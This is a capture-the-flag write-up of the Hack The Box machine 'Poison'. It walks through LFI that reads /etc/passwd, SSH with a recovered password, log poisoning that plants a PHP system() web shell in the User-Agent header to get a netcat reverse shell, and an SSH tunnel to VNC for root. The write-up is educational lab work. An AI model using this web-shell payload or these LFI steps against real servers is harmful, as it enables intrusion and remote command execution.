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Scanning the Host

As usual, I began the recon stage of the process by using nmap to scan the hosts address of 10.10.10.84, outputting this to a file called Poison. This showed several processes that were currently running, including an ssh service on port 22, an Apache webserver on port 80, and VNC on port 5902.

```
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PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)

| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
| 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)

80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
| http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
| http-title: Site doesn't have a title (text/html; charset=UTF-8).

5802/tcp open http Bacula http config
| http-title: File Not Found
5902/tcp open vnc VNC (protocol 3.8)
| vnc-info:
| Protocol version: 3.8
| Security types:
| VNC Authentication (2)
| Tight (16)
| Tight auth subtypes:
| STDV VNCAUTH (2)
| 6002/tcp open X11:2?
| x11-access: ERROR: Script execution failed (use -d to debug)
| Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
```

Figure 1.1: Nmap Scan of Poison

Next step was to navigate to the webpage shown from the nmap scan and check out the webpage. This showed a page that was used to test local .php scripts and gave a list of a series of files that were to be tested. Of these files, two were of main interest, *phpinfo.php* – which gave details about the webserver when navigated to, and *listfiles.php*, which listed what files were available to navigate to. On navigating to *listfiles.php*, there was the previous list of files from the index page, as well as another .txt file: *pwdbackup.txt*.

Figure 1.2: listfiles.php

Obtaining Credentials

Upon navigating to the pwdbackup.txt directory, we were left a somewhat cryptic message, stating that the password is secure, and that is had been encoded thirteen times. Looking at the string of characters revealed that it was encoded with base64, which can be identified by its use of '=' characters for padding. So, I copied this into a text file, and then used a quick Python loop to decode it, using the b64decode module.

```
connor@kali: "/Documents/HackTheBox/Poison

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connor@kali: "/Documents/HackTheBox/Poison$ python

Python 2.7.14+ (default, Mar 13 2018, 15:23:44)

[6CC 7.3.6] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> from base64 import b64decode

>>> p = open('passwdbackup.txt').read().strip()

>>> for i in range(13):

... p = b64decode(p)

...

>>> p

'Charix!2#4%668(0'

>>> 

| Charix!2#4%668(0')

| Charix!2#4%668(0')
```

Figure 1.3: Python to decode Base64 password

This revealed a password: *Charix!2#4%6&8(0,* which could be used on the ssh service we spotted from the nmap scan previously.

To login using ssh however, you need a password and a username, which I still hadn't obtained yet, so I went back to the *index.php* page and had a look at the submission box. I typed in *hello.php*, to see if the server would execute the underlying php code, and noticed that it returned an error, stating that it couldn't find the hello.php file. This suggested that it may be vulnerable to Local File Inclusion (LFI), so I modified the URL to change from hello.php to /etc/passwd, which then revealed the password file, with an interesting username at the bottom.

```
Most Visited Most
```

Figure 1.4: LFI to grab /passwd file

Getting a Shell Method One: SSH

There are actually two completely separate methods to obtain a shell on this machine, the first method involves simply creating an ssh session and logging in with the credentials obtained earlier, while the second method involves using a technique known as Log Poisoning. For the purpose of learning new techniques, I will cover both methods in this section.

Using the credentials obtained earlier, it was simple to ssh into the box and grab the user flag. Which can be seen in the example below.

```
charix@Poison:~ % ls
secret.zip user.txt
charix@Poison:~ % cat user.txt
eaacdfb2d141b72a
```

Figure 1.5: User Flag

There was also a second file, called *Secret.zip*, which required a password to unzip, so I used scp to move this to my kali box, and unzipped it with the password gained from decoding the base64 message earlier. It appeared to be a file of ASCII text, and when catting the file to the terminal it just returned garbage, so for now the file was useless, although it would become useful later.

Method Two: Log Poisoning

This method involves using a method known as Log Poisoning, whereby commands can be executed server-side by using LFI to navigate to the directory of the log files. In order to perform this, I first had to intercept the traffic between my machine and the Poison box. So I fired up Burp, grabbed the request and modified it so that the user-agent became a php query that would be executed, seen below:

```
Raw Headers Hex

GET /whatever HTTP/1.1
Host: 10.10.10.84
User-Agent: <?php system($_REQUEST['TheresAFewConors']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
```

Figure 1.6: Modified Burp Request

I then navigated to the directory of the httpd-access.log file, and from here was able to modify the 'TheresAFewConors' variable in the URL to execute bash server-side! I first tested this with hostname, followed by Is -Ia. Since it appeared to be working, all that was left was to use the netcat reverse shell code from PentestMonkey (linked at the end) while listening over port 4568 for the connection, the connection can be seen below:

```
Connor@kali: ~

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RX packets 26128 bytes 31003546 (29.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 17082 bytes 1172347 (1.1 MiB)
TX errors 0 dropped 20 overruns 0 carrier 0 collisions 0

Connor@kali:~$ ping 10.10.10.84
PING 10.10.10.84 (10.10.10.84) 56(84) bytes of data.
64 bytes from 10.10.10.84: icmp_seq=1 ttl=63 time=54.3 ms.
64 bytes from 10.10.10.84: icmp_seq=2 ttl=63 time=52.9 ms

Connor@kali:~$ ping statistics ---
3 packets transmitted, 2 received, 33% packet loss, time 2004ms
rtt min/avg/max/mdev = 52.932/53.629/54.326/0.697 ms

connor@kali:~$ ping 10.10.10.84
PING 10.10.10.84 (10.10.10.84) 56(84) bytes of data.
64 bytes from 10.10.10.84: icmp_seq=1 ttl=63 time=53.5 ms

Connor@kali:~$ nine 2004 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 53.515/53.515/53.515/0.000 ms

connor@kali:~$ nc -lvnp 4568
listening on [any] 4568 ...
connect to [10.10.12.239] from (UNKNOWN) [10.10.10.84] 19381
```

Figure 1.7: LogPoisoning complete

Privilege Escalation

The first part of the privilege escalation step was to see what processes were running on the box, this was performed with the *ps -auxw* command. This immediately showed a root process running VNC, which showed up in the nmap scan earlier, so I decided to start by looking at this service.

Using a technique to forward all traffic from the localhost of the machine to an arbitrary port number, I established a new ssh session to tunnel this information. This was completed with the following command:

```
ssh -L 4567:127.0.0.1:5901 charix@10.10.10.84
```

The syntax being -L for listening port: host: hostport. This was then tested using netstat, and searching for port 4567, to see if anything was listening, which showed that it had successfully worked, seen below:

```
    connor@kali:-$ sudo netstat -anlp | grep 4567

    tcp 0 0 127.0.0.1:4567 0.0.0.0:* LISTEN 4689/ssh

    tcp6 0 0 ::1:4567 :::* LISTEN 4689/ssh

    connor@kali:-$ []
```

Figure 1.8: netstat detect tunnel

Next was to attempt to login to the vnc server, which I performed using vncviewer, and on first attempt using the password decoded from earlier, it failed. So this was obviously not the correct credentials. However, I remembered that secret file from earlier, so using the *-passwd* argument I directed the secret file into the vnc login, which worked successfully, giving me root access on the machine. I then opened the root.txt file to grab the hash, which can be seen below:

```
root@Poison;" # ls
.Xauthority .k5login .rnd .vininfo
.cshrc .login .ssh .vnc
.history .profile .vin root.txt
root@Poison;" # cat root.txt
716d0b188419ef3
root@Poison;" #
```

Figure 1.9: Grabbing the Root Flag

What was learnt from this Machine

Two new techniques were learnt from this machine, the first method involves using Local File Inclusion (LFI) to include files that are already locally present on the server. The vulnerability exists because of a lack of proper input validation, and allows an attacker to inject characters traversal characters such as '../' for directory traversal. LFI was used on this machine to read the /etc/passwd file and obtain a list of usernames, which were then used in conjunction with the password obtained from decoding the base64 message to log in via ssh.

The second technique learnt is a method known as Log Poisoning. This involves 'poisoning' the logs on the server by intercepting and modifying the request. This can then be stored in the server's log files, eg. error.log, then navigating to the directory via LFI where the log exists, causing the poisoned log to be loaded, and underlying code to be executed. This again exists due to a lack of input validation, as well as incorrect file permissions. In this scenario it was used to execute bash commands.

Further Reading

Cover Image: http://mulliganstudios.tumblr.com/post/25563703539/csa-images

PentestMonkey: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet